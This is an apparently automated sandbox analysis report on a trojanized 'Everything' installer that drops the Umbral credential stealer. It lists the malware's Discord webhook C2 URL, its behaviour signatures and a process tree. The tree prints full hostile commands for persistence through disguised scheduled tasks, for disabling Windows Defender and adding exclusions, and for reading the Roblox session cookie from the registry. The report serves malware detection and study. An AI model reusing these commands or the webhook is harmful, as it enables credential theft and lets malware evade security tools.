Resubmissions

11/04/2025, 11:18

250411-ner8jsxnx2 10

11/04/2025, 11:16

250411-ndjj1sxtdy 10

Analysis

  • max time kernel
    91s
  • max time network
    91s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250410-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/04/2025, 11:16

General

  • Target

    Everything-1.4.1.1026.x64-Setup2.exe

  • Size

    468KB

  • MD5

    53e560338b0fabac1c89e7baf950046d

  • SHA1

    517c82342d0e5ee0a581ff0db0e543c9cb9986a4

  • SHA256

    c9d2459c5bd3e5044d4d625f92e30bfa475e11fe259fc00c0d4961f5ebe10f3b

  • SHA512

    4216abf6d385c3f37889300dd9c8ec98215e7f8810806b2a306cd6e79747c720972b74026917ed5cc9a07e8c677aed2ad2ffc509290853eaa0ec4bc807a3843d

  • SSDEEP

    12288:hGePVle8y4TKs/u6oZtL+EP855eLcCFdW8j+ctBIX0B:oITKoI8XeLcCFdW8j+ctBIXo

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1360210646112665720/qXg1qF4JZ6j3Rqqts-_rZSbjGedO1RuAq7HLooe-TstGKKIib9a91A7sjYj3Xa-Dhtsc

Signatures

  • Detect Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious behavior: LoadsDriver 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Everything-1.4.1.1026.x64-Setup2.exe
    "C:\Users\Admin\AppData\Local\Temp\Everything-1.4.1.1026.x64-Setup2.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Users\Admin\AppData\Local\Temp\Client.exe
      "C:\Users\Admin\AppData\Local\Temp\Client.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5580
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Security Essentials" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5164
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Security Essentials" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1848
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Adobe Photoshop Upgrade" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3144
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo -1 /tn "Adobe Photoshop Upgrade" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" /RL HIGHEST
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5556
    • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5024
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4408
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:4984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:636
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3748
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5884
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:1100
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:3648
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2216
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:3584
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:820
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2484
      • C:\Windows\system32\wbem\WmiApSrv.exe
        C:\Windows\system32\wbem\WmiApSrv.exe
        1⤵
          PID:4408

        Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Umbral.exe.log

          Filesize

          1KB

          MD5

          547df619456b0e94d1b7663cf2f93ccb

          SHA1

          8807c99005eaf2cc44b0b5ec4fc6eac289bfb4e3

          SHA256

          8b7130cc966f3f78e236b4e51eb12e1c82b0bd3f0773275d619b5c545168797a

          SHA512

          01b4e32fdf6c7f2347075c8153bc75a2f32fe3cec19e1a777e263ec4f607b54e046f0e4c7c0bc22581d44cbbdbb076a63eaa50a742f381faad06c86c2b10f67f

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          ca58d1913d3261f116a299095e04f734

          SHA1

          941d13d0c8c65adb6513f23991acfa0d62facdea

          SHA256

          755daf72f2f5e983abb009c3b1eef4c7c660999f5ff581545bbcae7088c17c69

          SHA512

          87b0d8c9a5348235e9ad6416e09665764db1af408bf763857dc40e39411fa0cf405e3e8b9f0b8540c72aa874059d1dee865aa0cff8dba0fde5779ec9480b5e40

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          a67eee085e8f68aaffbfdb51503d6561

          SHA1

          29db9b41945c6a5d27d5836a1c780668eded65a0

          SHA256

          6e155bcc98f4e175a8701f030b73b14d9002b175ef58a19cb9010af3964e36b4

          SHA512

          7923bc74260e77d62b20cf510b79e0422563469ec3543084a989db154b1e39370f1a6e6c6e73caa7471d0974a693b1beb4fd2ddfb14b0b5c58650b5df3c32d81

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          8a0407fd3b6a0e95729793e05880b558

          SHA1

          c704aff8e50b66cc5e7eaa51fe8fa41b0ef76ab6

          SHA256

          d641339de65c0d9ffd34a706fa9fcf408f2da61bdedf37fddad0ae9c8654e23e

          SHA512

          a8cf10aa0ad92bb7a6dc4da5d8445bd2482864612071f525b3d0da92357dad56c1a690f8755e2dc138c044387871cdf8a3af6493af8bfbb2e34214eb809a0f72

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          74a6b79d36b4aae8b027a218bc6e1af7

          SHA1

          0350e46c1df6934903c4820a00b0bc4721779e5f

          SHA256

          60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

          SHA512

          60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          e89e026fcbcb7b88a5e080df5235666c

          SHA1

          ba561c7bbb4aa29c2ce371b92a8030fea9581a62

          SHA256

          5a3e6ec763e3776523705ccf199692732a2aa18cab534b697dd6a31f2a2c3810

          SHA512

          f6ead5af3d55a72bba21a31d7e08965568be250eacbb39df2963d0cfa5f6b64a175738ed962828e656e421739db2c33f936abdcb9c3bee06ef8a95ef7456c185

        • C:\Users\Admin\AppData\Local\Temp\Client.exe

          Filesize

          228KB

          MD5

          9d13457fe2154ed1c7c5d080b4e89d75

          SHA1

          813a1143530624a7ebb51eb041d8ab1b1349c428

          SHA256

          4433cbb68bb1948a9093af9d3e4ca43dd9d2e8ab1eb4ef172c84a18122211dbb

          SHA512

          4665ce02912a5d27a847b91fc7dc1a1cd215febe16fa2bd9d90694a9ce45d5475255cdd0d9e2d57c00b61bbdd94ffce6e71227d04530544591043216be48341b

        • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

          Filesize

          231KB

          MD5

          e4b51d29d135168fc262065999c10f6a

          SHA1

          8f7d8872ee04c47af338ea0fe8480a3e5be2d6bb

          SHA256

          72717c89182aa16055fca98ccb899f86084a888681cd5621dcdba99d08056c7c

          SHA512

          d539a85bdbd0bcaa52ed8483d124f61875eb1b28d5bd353087eee1332efd3bf948fcd672e77b06755ccb4af7c1783db87091d99f78da41f12f8187fd22927fb6

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m4dfpyai.0gb.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/404-37-0x00000129EB940000-0x00000129EB962000-memory.dmp

          Filesize

          136KB

        • memory/2424-24-0x0000000000400000-0x000000000047C000-memory.dmp

          Filesize

          496KB

        • memory/5024-52-0x000001ED535D0000-0x000001ED53646000-memory.dmp

          Filesize

          472KB

        • memory/5024-53-0x000001ED53650000-0x000001ED536A0000-memory.dmp

          Filesize

          320KB

        • memory/5024-54-0x000001ED3ACF0000-0x000001ED3AD0E000-memory.dmp

          Filesize

          120KB

        • memory/5024-25-0x000001ED38E60000-0x000001ED38EA0000-memory.dmp

          Filesize

          256KB

        • memory/5024-26-0x00007FFB94340000-0x00007FFB94E01000-memory.dmp

          Filesize

          10.8MB

        • memory/5024-90-0x000001ED53580000-0x000001ED5358A000-memory.dmp

          Filesize

          40KB

        • memory/5024-91-0x000001ED537A0000-0x000001ED537B2000-memory.dmp

          Filesize

          72KB

        • memory/5024-27-0x00007FFB94340000-0x00007FFB94E01000-memory.dmp

          Filesize

          10.8MB

        • memory/5024-109-0x00007FFB94340000-0x00007FFB94E01000-memory.dmp

          Filesize

          10.8MB

        • memory/5580-19-0x0000000000650000-0x0000000000690000-memory.dmp

          Filesize

          256KB

        • memory/5580-20-0x00007FFB94343000-0x00007FFB94345000-memory.dmp

          Filesize

          8KB

        • memory/5580-148-0x00000000028E0000-0x00000000028EC000-memory.dmp

          Filesize

          48KB